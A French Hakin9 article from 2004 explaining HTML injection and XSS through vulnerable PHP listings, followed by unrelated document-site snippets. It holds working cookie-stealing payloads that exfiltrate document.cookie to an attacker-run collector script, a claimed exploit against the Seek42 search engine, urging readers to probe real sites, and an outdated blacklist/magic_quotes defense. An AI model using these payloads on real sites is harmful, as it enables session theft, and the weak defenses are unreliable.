Attaques de type. Brandon Petty
|
|
|
- Flore Hébert
- il y a 8 ans
- Total affichages :
Transcription
1 Attaques de type injection HTML Brandon Petty Article publié dans le numéro 1/2004 du magazine Hakin9 Tous droits reservés. La copie et la diffusion de l'article sont admises à condition de garder sa forme et son contenu actuels. Magazine Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, Warszawa,
2 Attaques de type injection HTML Brandon Petty Les attaques de type injection HTML consistent à envoyer une chaîne contenant un code HTML malveillant à une page qui attend les données sous forme texte de la part de l'internaute. La question qui s'impose est la suivante : quel objectif peut-on atteindre en procédant de cette manière? Bases Maintenant, étudions la page dont le code source est présenté sur les Listings 1 et 2 ( inject/html_ex.html). Il a l'air d'être simple, n'est-ce pas? Dans le formulaire, sélectionnez le format qui vous intéresse (MP3, OGG ou WAV) et cliquez sur OK. La valeur de la variable music est transmise à la page html_ex.php : <form action='./html_ex.php' method='post'> Ce fichier fait afficher le nom du format que vous avez sélectionné : $myurl = $_REQUEST[music]; (...) Votre choix: echo($myurl); Le fonctionnement de la page est si simple qu'il est difficile de croire qu'elle puisse posséder des trous de sécurité. Cependant essayez de taper l'adresse suivante dans le navigateur php?music=<script>alert('hakin9')</script>. Une fenêtre avec le texte Hakin9 apparaît sur l'écran. C'est intéressant, n'est-ce pas? Con- sultons le code source de la page qui vient d'être affichée (Listing 3). Comme on peut le voir, PHP était persuadé que la chaîne définie par vous dans l'adresse a été envoyée par le formulaire (à l'aide de la méthode GET) et il l'a insérée dans le code HTML transmis au navigateur. La balise <script> oblige à utiliser JavaScript ce qui permet de se servir de la fonction alert() afin d'afficher la fenêtre. Exemple plus complexe forum tout simple Un exemple plus complexe est présenté sur les Listings 4 et 5 xss_ex.php. C'est une version simplifiée du mécanisme que vous allez trouver sur plusieurs forums de discussion disponibles sur le réseau. La page xss_ex.php contient un formulaire où il faut saisir un nom d'utilisateur et un mot de passe (root et demo). Ces données sont ensuite transmises au fichier xss_ex.php : <form action='./exploit.php' method='post'> 16
3 Injection HTML Si l exemple html_x.php ne marche pas Si l exemple présenté sur les Listings 1 et 2 ne fonctionne pas sur votre ordinateur (la saisie de l adresse donnée dans l article n entraîne pas l affichage de la fenêtre), vérifiez si vous n avez pas désactivé JavaScript dans les options du navigateur. Au cas où JavaScript serait désactivé, la fenêtre ne pourrait pas être affichée. Vérifiez également le code source de la page affichée après avoir tapé l adresse donnée dans l article et comparez-le avec celui présenté sur le Listing 3. Vérifiez notamment si la ligne : <script>alert('hakin9')</script> Listing 2. Suite de la page vulnérable à l'injection HTML fichier html_ex.php /* Assurez-vous si dans le fichier php.ini l'option * "magic_quotes_gpc = Off" est désactivée au cas contraire, * ce script ne sera pas vulnérable à l'attaque */ error_reporting (E_ALL ^ E_NOTICE); $myurl = $_REQUEST[music]; <html> <head> <title>exemple tout simple/title> </head> <body bgcolor="white"> <br><br><br> <center><h1>votre choix: echo($myurl); </h1></center> </body> </html> ne se présente pas chez vous ainsi : <script>alert(\'hakin9\') </script> Si c est le cas dans le fichier de configuration PHP (/etc/php.ini dans la plupart des distributions de Linux), l option de sécurité est probablement activée : magic_quotes_gpc = On Cette option a pour vocation d assurer la protection contre plusieurs types d attaques HTML injection. Pour essayer le fonctionnement des attaques décrites dans cet article, choisissez la valeur qui assure un niveau de sécurité moins élévé : magic_quotes_gpc = Off Après les avoir réceptionnées, le script envoie au client les cookies avec le nom d'utilisateur et le mot de passe : setcookie("mylogin",$_post['login']); setcookie("mypasswd",$_post['passwd']); Grâce à cela, il ne sera pas nécessaire de saisir ces données encore une fois lors des futures visites. Après avoir envoyé les cookies, le script envoie l'en-tête HTTP location ce qui entraîne l'ouverture de la page exploit.php : header("location: exploit.php"); Une fois la session ouverte, vous vous trouvez sur la page simulant l'insertion d'une image sur le forum. Sur cette page, il y a un formulaire tout simple où vous saisissez un lien vers un fichier graphique donné. Après avoir appuyé sur le bouton, le lien est envoyé au script qui le fait insérer dans la base de données et qui est responsable de son affichage. Essayons de réaliser l'attaque injection HTML semblable à l'attaque précédente. Comme lien vers l'image saisissez : inject /image.jpg" ><script>aler t ('hakin9')</script>. Le résultat doit être identique à celui obtenu dans le cas précédent. Regardez le code Listing 1. Exemple le plus simple de la page vulnérable à l'injection HTML fichier html_ex.html <form action='./html_ex.php' method='post'> <center>[<b>sélectionner le format</b>]</center><br> <input type="radio" name="music" value="mp3" checked="true">.mp3<br> <input type="radio" name="music" value="ogg">.ogg<br> <input type="radio" name="music" value="wav">.wav<br> <center><input type="submit" value="ok"></center> </form> source de la page affichée où vous allez trouver la ligne suivante : <img src=" /image.jpg"><script>alert( 'hakin9')</script>"> Comment cela fonctionne? C'est simple notez que la chaîne "> que nous avons insérée après le nom du fichier graphique a provoqué la fermeture de la balise img. La chaîne <script>alert('hakin9')</script> qui suit a fait afficher la fenêtre comme dans le cas précédent. Exemple d'utilisation de la technique XSS Et bien mais la génération des fenêtres n'est pas la raison suffisante Listing 3. Code source de la page qui s'affiche après avoir saisi l'adresse inject/html_ex.php?music= <script>alert('hakin9')</script> <html> <head> <title>exemple tout simple </title> </head> <body bgcolor="white"> <br><br><br> <center><h1>vous avez choisi: <script>alert('hakin9')</script> </h1></center> </body> </html> 17
4 Figure 1. Page présentée sur les Listings 1 et 2 fonctionnement et l affichage de la fenêtre forcé par le pirate pour pouvoir parler du piratage informatique. Essayons de faire quelque chose de plus ambitieux. Tout d'abord pour que l'injection HTML apporte des effets importants, votre code doit être inséré sur la page visitée par beaucoup d'internautes. Comme on pouvait le noter sur l'exemple précédent, cela n'est pas difficile il suffit de choisir un forum quelconque. Le point important du forum présenté dans l'exemple précédent est le fait que lorsque l'internaute ouvre la session, son nom d'utilisateur et le mot de passe sont enregistrés dans les cookies. Dans un instant, vous allez vous convaincre qu'il est possible de voler Listing 4. Forum avec des trous de sécurité xss_ex.php Bases if ($_SERVER['REQUEST_METHOD'] == "POST") setcookie("mylogin",$_post['login']); setcookie("mypasswd",$_post['passwd']); header("location: exploit.php"); if ($_COOKIE['mylogin'] $_COOKIE['mypasswd']) echo("<center><b><a href=\"./exploit.php\">vous avez déjà ouvert la session </a></b></center>"); else <br> <form action='./xss_ex.php' method='post'> <table border=0 width=0 heith=0> <caption align="left">démo de l'injection HTML</caption> <tr><td valign="top"> <b>login: </b></td><td><input type=text name="login" value="root" size=50> </input></td></tr><td valign="top"> <b>passwd: </b></td><td><input type=text name="passwd" value="demo" size=50> </input><br></td></tr><td valign="top"> <input type=submit value="enter"> </td></tr> </table> </form>
5 Injection HTML Conversion des caractères ASCII en symboles hexadécimaux Regardez deux liens ci-dessous : </script> %3Cscript%3Ealert%28%27hakin9%27%29%3C%2Fscript%3E Il vaut la peine de savoir que les deux conduisent au même endroit. C est simple le caractère < porte en ASCII le numéro 3C (code hexadécimal), au lieu d écrire <script, vous pouvez donc écrire %3Cscript. Quelle en est la raison? Il existe des situations où vous ne souhaitez pas utiliser des caractères non typiques dans l adresse URL certaines applications internet ou clients peuvent tenter de les supprimer. Les caractères choisis et les codes hexadécimaux qui leur correspondent sont présentés dans le Tableau 1. Listing 5. Forum avec des trous de sécurité, suite exploit.php // Attention: pour simplifier le script, le nom d'utilisateur // et le mot de passe sont enregistrés dans le script // (et non téléchargés depuis la base) error_reporting (E_ALL ^ E_NOTICE); $myurl = $_REQUEST[url]; // Si PHP n'ajoute pas des barres obliques devant les guillemets, // vous devez les ajouter vous-mêmes. if (get_magic_quotes_gpc()==0) $myurl = addslashes($myurl); if (($_COOKIE['mylogin'] == 'root') && ($_COOKIE['mypasswd'] == 'demo')) if($_server['request_method']!= "POST") <b>démo de l'injection HTML</b> <br> <form action='./exploit.php' method='post'> URL de l'image: <input type='text' name='url' value=' length='50'><br> <input type='submit'> </form> $SQL_String = "SELECT User.Link FROM User"; $SQL_String.= " Where(User.Login = 'root');"; $rs = mysql_query ($SQL_String) or die ($SQL_String); if ($row = mysql_fetch_object ($rs)) echo "<img src=\"$row->link\">\n"; else echo "Erreur!!\n"; Tableau 1. Caractères ASCII choisis et les codes hexadécimaux qui leur correspondent Caractère un cookie ce qui va vous permettre de vous faire passer pour d'autres utilisateurs. Commençons par un exemple tout simple. Au lieu d'un lien vers une image (on parle toujours du forum présenté sur les Listings 4 et 5), saisissez la chaîne suivante dans la boîte de dialogue : <script>alert(document.cookie)</script> Cela va faire afficher la fenêtre avec le texte : mylogin=root; mypasswd=demo Code hexadécimal! %21 %22 # %23 $ %24 % %25 & %26 %27 ( %28 ) %29 * %2A + %2B, %2C - %2D. %2E / %2F : %3A ; %3B < %3C = %3D > %3E? %40 [ %5B \ %5C ] %5D ^ %5E _ %5F ~ %7E 19
6 Listing 6. La saisie des chaînes exemplaires dans la boîte de dialogue pour la sélection de l'image va faire envoyer le contenu des cookies à l'intrus image.jpg" width="0" height="0" name="hia" onload="hia.src=' cookie.php?cookie='+document.cookie;./image.jpg" name="hia" onload="hia.src=' <script language=" Comme on peut le voir, la variable document.cookie stocke la valeur des cookies pour la page que nous sommes en train de visiter. Pourtant, nous n'avons pas pour objectif de présenter à tout utilisateur ses données nous voulons que ces données nous soient transmises. La méthode la plus simple pour atteindre ce but consiste à insérer un lien qui fera ouvrir notre page dans les variables transmises à l'aide de la méthode GET en transmettant la valeur de la variable document.cookie. Étudions le script présenté sur le Listing 7. Si vous l'ouvrez de la manière suivante : ~haking/inject/cookie.php?cookie= texte_exemplaire cela va entraîner l'enregistrement de la chaîne texte_exemplaire dans le fichier cookies.txt. Si dans l'adresse qui est en train de s'ouvrir vous insériez le contenu des cookies au lieu de la chaîne texte_exemplaire, celui-ci serait envoyé à votre serveur! Étudions le fonctionnement d'un lien présenté sur le Listing 6 (premier lien). Si vous le saisissez dans la boîte de dialogue où vous définissez le lien vers une image, le code cidessous sera envoyé au client : <img src="image.jpg" width="0" height="0" name="hia" onload= "hia.src=' inject/cookie.php?cookie=' +document.cookie;"> C'est simple la chaîne que vous avez définie comme dans les exemples précédents a été insérée à l'endroit Listing 7. Script enregistrant la chaîne définie dans la variable transmise à l'aide de la méthode GET dans le fichier cookie.php error_reporting (E_ALL ^ E_NOTICE); $cookie = $_REQUEST[cookie]; $fic=fopen("cookies.txt", "a"); fwrite($fic, "$cookie\n"); fclose($fic); où le lien vers l'image doit conduire. Cela va entraîner l'affichage de l'image image.jpg aux dimensions de 0x0 pixels (elle ne sera pas donc visible). Après l'avoir chargée (méthode on- Bases Figure 2. Schéma de réalisation de l attaque contre le forum présenté sur les Listings 4 et
7 Injection HTML Listing 8. Script permettant de consulter les cookies regroupés view_cookie.php echo("interception des cookies: Démo de l'injection HTML\n<br>\n"); $fic=fopen("cookies.txt", "r"); while(!feof($fic)) $data = fgets($fic, 1024); echo("<br>$data"); fclose($fic); load), l'adresse URL sera chargée en tant qu'image : cookie.php?cookie='+document.cookie; Comme on a pu déjà l'observer, les cookies d'utilisateur seront envoyés au serveur et ils seront enregistrés sur votre serveur (à l'endroit où se trouve le fichier cookie.php) dans le fichier cookies.txt. Afin d'optimiser la réalisation de l'attaque, vous pouvez utiliser le script présenté sur le Listing 8. Dans certaines situations, il peut s'avérer nécessaire d'utiliser la chaîne <script language=" comme c'est le cas du second lien présenté sur le Listing 6. Si vous envoyez un code HTML malveillant à une page où il sera inséré dans quelques endroits, vous pouvez rencontrer un problème. Dans l'exemple que nous venons de commenter, cela provoquera l'apparition de plusieurs images portant le même nom hia sur la page grâce à quoi la fonction onload pourrait ne pas s'exécuter. Si vous ajoutez la chaîne <script language=" à la fin du code que vous avez inséré, le reste de la page sera considéré comme script JavaScript inachevé. L'exemple d'utilisation de cette technique est le code présenté sur le Listing 9. C'est un exploit permettant d'intercepter les cookies des utilisateurs du moteur de recherche très populaire projects/seek42/. Comment se défendre? Bien que la réalisation des attaques HTML injection soit simple, dans plu- Figure 3. Schéma de fonctionnement d un modèle simplifié du forum présenté sur les Listings 4 et
8 Listing 9. Exploit pour Seek42 walls do not make a prison nor iron bars a cage</b><br><img src=" <img src=" name="hia" onload="hia.src=' width=0 height=0></center> <script language=" Bases sieurs situations la défense contre elles n'est pas du tout facile. Il existe deux méthodes pour sécuriser votre page contre le pirate. La première consiste à analyser les données entrantes (du côté serveur) avant qu'elles ne soient intégrées dans le code de la page envoyée au client. Une fonction appropriée peut vérifier si les données n'intègrent pas un code HTML malveillant et soit réfuser à leur réception, soit essayer de couper les fragments suspects. L'exemple d'utilisation de cette méthode est présenté sur le Listing 10. Il représente la version de la page du Listing 2 résistant à l'attaque. Comme on peut le voir, nous avons écrit la fonction is _ clean(). Elle a pour but de vérifier si les données saisies ne contiennent pas de chaînes > ou <script qui sont présentes dans la plupart des attaques de type injection HTML. Si la chaîne malveillante est trouvée, la fonction retourne False, dans le cas contraire, elle retourne True. Cette méthode de défense contre les attaques de type injection Listing 10. Version du script résistant aux attaques présenté sur le Listing 2 fichier html_ex_clean.php error_reporting (E_ALL ^ E_NOTICE); function is_clean ($container) $container = strtolower($container); $container = str_replace(' ', "", $container); // On recherche les chaînes pouvant servir à la réalisation de l'attaque. $string1 = "<script"; $string2 = "\">"; if(!strstr($container,$string1) &&!strstr($container,$string2)) // La chaîne ne contient pas de fragments suspects. $result = True; else // La chaîne contient des fragments suspects. $result = False; return $result; $myurl = $_REQUEST[music]; // Vérifiez si la chaîne saisie ne contient pas de fragments suspects. if(!is_clean($myurl)) $myurl = ", afin de réaliser l'injection HTML"; <html> <head>exemple tout simple</title> </head> <body bgcolor="white"> <br><br><br> <center><h1>vous avez choisi echo($myurl); </h1></center> </body> </html> HTML est utilisée par plusieurs forums internet. Ils suppriment toutes les balises HTML des messages postés par les internautes en laissant seulement ses propres balises qui sont soumises ensuite à un traitement spécial. Deuxièmement, vous pouvez profiter du fait que PHP introduit automatiquement des slaches devant des guillemets et devant des apostrophes. Quand vous activez cette option (en paramétrant dans le fichier /etc/php.ini magic _ quotes _ gpc = On), beaucoup de fichiers buggués vont disparaître. Dans le cas de notre essai vous pouvez constater que l'attaque effectuée sur la page des Figures 1 et 2 s'arrêtera alors que celle sur votre forum va fonctionner. Pourquoi? Les données envoyées vers la base de données dans la requête SQL devraient contenir les slaches devant les guillemets. Vous devez donc vérifier si magic _ quotes _ gpc est activé dans le script exploit.php, et, dans le cas contraire ajoutez les slaches vous-mêmes. Les versions plus récentes de PHP possèdent cette option par défaut. Cependant, il existe bien des situations où vous serez obligés de la désactiver, p. ex. quand votre script contient des données dans le fichier texte ou quand vous devez comparer les suites comportant des guillemets. Conclusion Sur le réseau, on peut trouver beaucoup de pages sensibles à un type donné d'attaque injection HTML. Vous pouvez essayer vous-mêmes de les rechercher il est fort vraisemblable que vous trouviez un trou de sécurité sur la page que vous visitez chaque jour. L'exemple en est un exploit présenté sur le Listing 9. La recherche de ce trou m'a prise moins que 30 minutes au cours de la pause pendant l'écriture de cet article. 22
TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012
TP JAVASCRIPT OMI4 TP5 SRC1 2011-2012 FORMULAIRE DE CONTACT POUR PORTFOLIO PRINCIPE GENERAL Nous souhaitons réaliser un formulaire de contact comprenant les champs suivants : NOM PRENOM ADRESSE MAIL MESSAGE
Failles XSS : Principes, Catégories Démonstrations, Contre mesures
HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations,
Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP
Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP Au cours de ce TP, vous allez voir comment PHP permet aux utilisateurs, une interaction avec
Création de formulaires interactifs
SESSION 16 Création de formulaires interactifs Programme de la session Lancer un sondage en utilisant divers éléments d'entrée de formulaire Traiter les entrées utilisateur Activer un script à partir d'un
Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org
Les sites Internet dynamiques contact : Patrick VINCENT pvincent@erasme.org Qu est-ce qu un site Web? ensemble de pages multimédia (texte, images, son, vidéo, ) organisées autour d une page d accueil et
Attaques applicatives
Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites
Création d'un site dynamique en PHP avec Dreamweaver et MySQL
Création d'un site dynamique en PHP avec Dreamweaver et MySQL 1. Création et configuration du site 1.1. Configuration de Dreamweaver Avant de commencer, il est nécessaire de connaître l'emplacement du
Module BD et sites WEB
Module BD et sites WEB Cours 8 Bases de données et Web Anne Doucet Anne.Doucet@lip6.fr 1 Le Web Architecture Architectures Web Client/serveur 3-tiers Serveurs d applications Web et BD Couplage HTML-BD
Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement
Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.
\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( <_> ) \ / /\ _ / \ / / \/ \/ \/ Team
\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( ) \ / /\ _ / \ / / \/ \/ \/ Team Tutoriel Hacking La faille XSS ------------------------ By H4X0R666 Ce tutoriel portera sur l exploitation de la faille XSS et sur
Stockage du fichier dans une table mysql:
Stockage de fichiers dans des tables MYSQL avec PHP Rédacteur: Alain Messin CNRS UMS 2202 Admin06 30/06/2006 Le but de ce document est de donner les principes de manipulation de fichiers dans une table
Les solutions de paiement CyberMUT (Crédit Mutuel) et P@iement CIC. Qui contacter pour commencer la mise en place d une configuration de test?
Les solutions de paiement CyberMUT (Crédit Mutuel) et P@iement CIC Qui contacter pour commencer la mise en place d une configuration de test? CyberMUT Paiement - Paiement CIC Commerce Electronique mailto:centrecom@e-i.com
INTRODUCTION A JAVA. Fichier en langage machine Exécutable
INTRODUCTION A JAVA JAVA est un langage orienté-objet pur. Il ressemble beaucoup à C++ au niveau de la syntaxe. En revanche, ces deux langages sont très différents dans leur structure (organisation du
Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin
Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse
cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007
A t t a q u e s c o n t r e l e s a p p l i s w e b cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 D e l ' u t i l i t é d e l ' a t t a
Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)
Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Sommaire : Contenu I. Introduction:... 2 II. Présentation de l atelier :... 2 1) Attaque persistante :... 3 2) Attaque non persistante :...
Sage CRM. Sage CRM 7.3 Guide du portable
Sage CRM Sage CRM 7.3 Guide du portable Copyright 2014 Sage Technologies Limited, éditeur de ce produit. Tous droits réservés. Il est interdit de copier, photocopier, reproduire, traduire, copier sur
Sécurité des applications web. Daniel Boteanu
I F8420: Éléments de Sécurité des applications web Daniel Boteanu Architecture des applications web Client légitime Internet HTTP 浀 HTML Server Web 2 Architecture des applications web Client légitime Internet
L envoi d un formulaire par courriel. Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248
L envoi d un formulaire par courriel Configuration requise... 236 Mail Texte... 237 Mail HTML... 242 Check-list... 248 Chapitre 9 L envoi d un formulaire par courriel L envoi par courriel d informations
Formulaire pour envoyer un mail
Formulaire pour envoyer un mail AVERTISSEMENT : Ce tuto est une compilation de plusieurs sources trouvées sur internet, dont les références sont données à la fin de cet article. Le but de ce tutoriel n'est
CHAPITRE 3 : INTERNET
CHAPITRE 3 : INTERNET Objectifs Identifier les composantes nécessaires pour se connecter à internet. Donner quelques services d internet. Créer une adresse e-mail avec Yahoo. Envoyer et recevoir un message
KompoZer. Composition du site : _ une page d'accueil : index.html. _ une page pour la théorie : theorie.html. _ une page pour les photos : photos.
KompoZer Créer un site «simple» Composition du site : _ une page d'accueil : index.html _ une page pour la théorie : theorie.html _ une page pour les photos : photos.html _ une page avec la galerie : galerie.html
PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward
PHP CLÉS EN MAIN 76 scripts efficaces pour enrichir vos sites web par William Steinmetz et Brian Ward TABLE DES MATIÈRES INTRODUCTION 1 1 TOUT CE QUE VOUS AVEZ TOUJOURS VOULU SAVOIR SUR LES SCRIPTS PHP
Application de lecture de carte SESAM-Vitale Jeebop
Application de lecture de carte SESAM-Vitale Jeebop Présentation Le module de lecture de carte SESAM-Vitale Jeebop est une application Java Web Start, c'est à dire une application Java qui se télécharge
NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web
NFA016 : Introduction O. Pons, S. Rosmorduc Conservatoire National des Arts & Métiers Pour naviguer sur le Web, il faut : 1. Une connexion au réseau Réseau Connexion physique (câbles,sans fils, ) à des
STID 2ème année : TP Web/PHP
STID 2ème année : TP Web/PHP Plan de travail et aide mémoire jean.arnaud@inria.fr Ce document est composé de cinq parties : Un aide mémoire sur les aspects pratiques de la création de sites Une introduction
TD HTML AVEC CORRECTION
TD HTML AVEC CORRECTION On utilisera Notepad++ comme éditeur sur Windows Vous créez un répertoire www sous vos répertoires personnels et vous mettrez vos pages dedans. Créez vos fichiers HTML et n oubliez
Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.
Failles des applications Web Ce document est extrait du travail de diplôme de M. DIZON dans l état. 1 Introduction...1 2 Contournement de validation javascript...2 2.1 Introduction...2 2.2 Principe de
SYSTÈMES D INFORMATIONS
SYSTÈMES D INFORMATIONS Développement Modx Les systèmes de gestion de contenu Les Content Management Système (CMS) servent à simplifier le développement de sites web ainsi que la mise à jour des contenus.
Dévéloppement de Sites Web
1 Dévéloppement de Sites Web Cours III : Travailler avec Dreamweaver de Macromedia Peter Stockinger Séminaire de Maîtrise en Communication Interculturelle à l'institut National des Langues et Civilisations
PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)
PHP et mysql php_mysql PHP et mysql Code: php_mysql Originaux url: http://tecfa.unige.ch/guides/tie/html/php-mysql/php-mysql.html url: http://tecfa.unige.ch/guides/tie/pdf/files/php-mysql.pdf Auteurs et
Instructions pas à pas pour l'enregistrement simplifié auprès de la PostCom
Instructions pas à pas pour l'enregistrement simplifié auprès de la PostCom Page à l'écran Etape 1 Aller sur le site www.postcom.admin.ch et cliquer à droite sur Enregistrement et reporting. Etape 2 Cliquer
PLAN. Qui peut faire quoi? Présentation. L'internaute Consulte le site public
SPIP est une interface en ligne gratuite permettant de créer des sites collaboratifs de façon suffisament simple pour que les élèves puissent publier leur propres articles. Il permet aussi d'héberger son
Manuel d utilisation du module Liste de cadeaux PRO par Alize Web
Manuel d utilisation du module Liste de cadeaux PRO par Alize Web INSTALLER ET CONFIGURER LE MODULE (BACK OFFICE) 2 Réglages des performances 2 Télécharger le module 3 Installer le module 4 Configurer
1. Introduction... 2. 2. Création d'une macro autonome... 2. 3. Exécuter la macro pas à pas... 5. 4. Modifier une macro... 5
1. Introduction... 2 2. Création d'une macro autonome... 2 3. Exécuter la macro pas à pas... 5 4. Modifier une macro... 5 5. Création d'une macro associée à un formulaire... 6 6. Exécuter des actions en
Programmation Web. Madalina Croitoru IUT Montpellier
Programmation Web Madalina Croitoru IUT Montpellier Organisation du cours 4 semaines 4 ½ h / semaine: 2heures cours 3 ½ heures TP Notation: continue interrogation cours + rendu à la fin de chaque séance
Mysql. Les requêtes préparées Prepared statements
Mysql Les requêtes préparées Prepared statements Introduction Les prepared statements côté serveur sont une des nouvelles fonctionnalités les plus intéressantes de MySQL 4.1 (récemment sorti en production
Serveur d'application Client HTML/JS. Apache Thrift Bootcamp
Serveur d'application Client HTML/JS Apache Thrift Bootcamp Pré-requis La liste ci-dessous de logiciels doit être installée et opérationnelle sur la machine des participants : Compilateur thrift http://thrift.apache.org/
Sommaire 1 CONFIGURER SA MESSAGERIE 2 2 CONSULTER VOS MAILS SUR INTERNET (WEBMAIL) 7 3 PROBLEMES POSSIBLES 8
Sommaire 1 CONFIGURER SA MESSAGERIE 2 2 CONSULTER VOS MAILS SUR INTERNET (WEBMAIL) 7 3 PROBLEMES POSSIBLES 8 3.1 Over quota 8 3.1.1 Configurer votre messagerie pour qu elle ne conserve pas une copie des
GUIDE D UTILISATION DE L ISU SEPTEMBRE 2013 GUIDE D UTILISATION DU NAVIGATEUR UIS.STAT (VERSION BÊTA)
GUIDE D UTILISATION DE L ISU SEPTEMBRE 2013 GUIDE D UTILISATION DU NAVIGATEUR UIS.STAT (VERSION BÊTA) Publié en 2013 par : Institut de statistiques de l UNESCO C.P. 6128, Succursale Centre-Ville Montréal,
Répondre à un courrier - Transférer un courrier 20
avec Présentation de l'écran d'internet Explorer 5 3 Se connecter sur un site distant à partir de l'adresse URL du site Se connecter sur un site distant en utilisant les favoris 5 6 Enregistrer un site
FOIRE AUX QUESTIONS PAIEMENT PAR INTERNET. Nom de fichier : Monetico_Paiement_Foire_aux_Questions_v1.7 Numéro de version : 1.7 Date : 2014-05-29
FOIRE AUX QUESTIONS PAIEMENT PAR INTERNET Nom de fichier : Monetico_Paiement_Foire_aux_Questions_v1.7 Numéro de version : 1.7 Date : 2014-05-29 FOIRE AUX QUESTIONS Confidentiel Titre du document : Monetico
Corrigé de l'atelier pratique du module 8 : Implémentation de la réplication
Corrigé de l'atelier pratique du module 8 : Implémentation de la réplication Table des matières Atelier pratique 8 : Implémentation de la réplication 1 Exercice 1 : Création d'une publication 1 Exercice
4D Business Kit version 2.2 ADDENDUM
4D Business Kit version 2.2 ADDENDUM Bienvenue dans 4D Business Kit version 2.2. Ce document décrit les nouveautés et modifications proposées dans cette version. Ces nouveautés concernent les thèmes suivants
PHP et les Bases de données - Généralités
PHP et les Bases de données - Généralités Conception d une base de données Méthodes utilisées : MERISE, UML Modèle conceptuel des données MCD, Modèle logique MLD, Modèle Physique MPD. Ces aspects seront
Modem LG LDU-1900D. Guide d utilisateur. LG Electronics
Modem LG LDU-1900D Guide d utilisateur LG Electronics >> Consignes de sécurité 1. N'utilisez pas le Modem LG LDU-1900D lorsque des opérations de dynamitage sont en cours ou dans des zones à atmosphère
Manuel de l'utilisateur d'intego VirusBarrier Express et VirusBarrier Plus
Manuel de l'utilisateur d'intego VirusBarrier Express et VirusBarrier Plus Bienvenue dans le manuel de l'utilisateur d'intego VirusBarrier Express et VirusBarrier Plus. VirusBarrier Express est un outil
Déployer une application Web avec WebMatrix et Ma Plateforme Web
Déployer une application Web avec WebMatrix et Ma Plateforme Web [Ceci est une documentation préliminaire, sujette à changement.] Introduction Après avoir créé un site web, vous devez le publier chez un
HTML. Notions générales
1 HTML Le langage HTML est le langage de base permettant de construire des pages web, que celles-ci soient destinées à être affichées sur un iphone/android ou non. Dans notre cas, HTML sera associé à CSS
Activités HTML. Code: act-html
Activités HTML act-html Activités HTML Code: act-html Originaux url: http://tecfa.unige.ch/guides/tie/html/act-html/act-html.html url: http://tecfa.unige.ch/guides/tie/pdf/files/act-html.pdf Prérequis:
Manuel utilisateur Netviewer one2one
Manuel utilisateur Netviewer one2one INDEX 1. Etablissement de la connexion...2 1.1. Client... 2 2. Travailler avec Netviewer en mode Show...3 2.1. Vue écran... 3 2.2. Le panneau Netviewer... 3 2.3. Caractéristiques...
La mémorisation des mots de passe dans les navigateurs web modernes
1 La mémorisation des mots de passe dans les navigateurs web modernes Didier Chassignol Frédéric Giquel 6 décembre 2005 - Congrès JRES 2 La problématique Multiplication des applications web nécessitant
TeamViewer 9 Manuel Management Console
TeamViewer 9 Manuel Management Console Rév 9.2-07/2014 TeamViewer GmbH Jahnstraße 30 D-73037 Göppingen www.teamviewer.com Sommaire 1 A propos de la TeamViewer Management Console... 4 1.1 A propos de la
Animation Shop PREAMBULE... 2 CONTRAINTE... 2 CREER UNE ANIMATION... 2 AJOUTER DES IMAGES... 3 ENREGISTRER UNE ANIMATION... 3
Jasc Software Animation Shop Sommaire : PREAMBULE... 2 CONTRAINTE... 2 CREER UNE ANIMATION... 2 AJOUTER DES IMAGES... 3 ENREGISTRER UNE ANIMATION... 3 AJOUTER DE L'EFFET... 5 TRANSISSIONS D'IMAGE... 5
PHPWEBSITE -Tutoriel image
PHPWEBSITE -Tutoriel image La capture des images depuis le web pour mon site. L optimisation d images pour le web, 1 Préparer des images pour le Web A. Généralités 1. Les trois formats d'images sur le
Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework
Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework L'objectif de ce document est de poser des bases de réflexion sur la modélisation d'un projet réalisé
Accès externe aux ressources du serveur pédagogique
Accès externe aux ressources du serveur pédagogique 1. Principe de fonctionnement... 1 2. Utilisation... 2 2.1. Gestion des dossiers et fichiers... 3 2.2. Exemple d'utilisation... 4 1. Principe de fonctionnement
Manuel d'utilisation de l'administration du site Japo.ch - 1
Manuel d'utilisation de l'administration du site Japo.ch 1. Identification L'administration est protégée par une identification. Veuillez saisir ici votre nom d'utilisateur et votre mot de passe. Manuel
FORMATION PcVue. Mise en œuvre de WEBVUE. Journées de formation au logiciel de supervision PcVue 8.1. Lieu : Lycée Pablo Neruda Saint Martin d hères
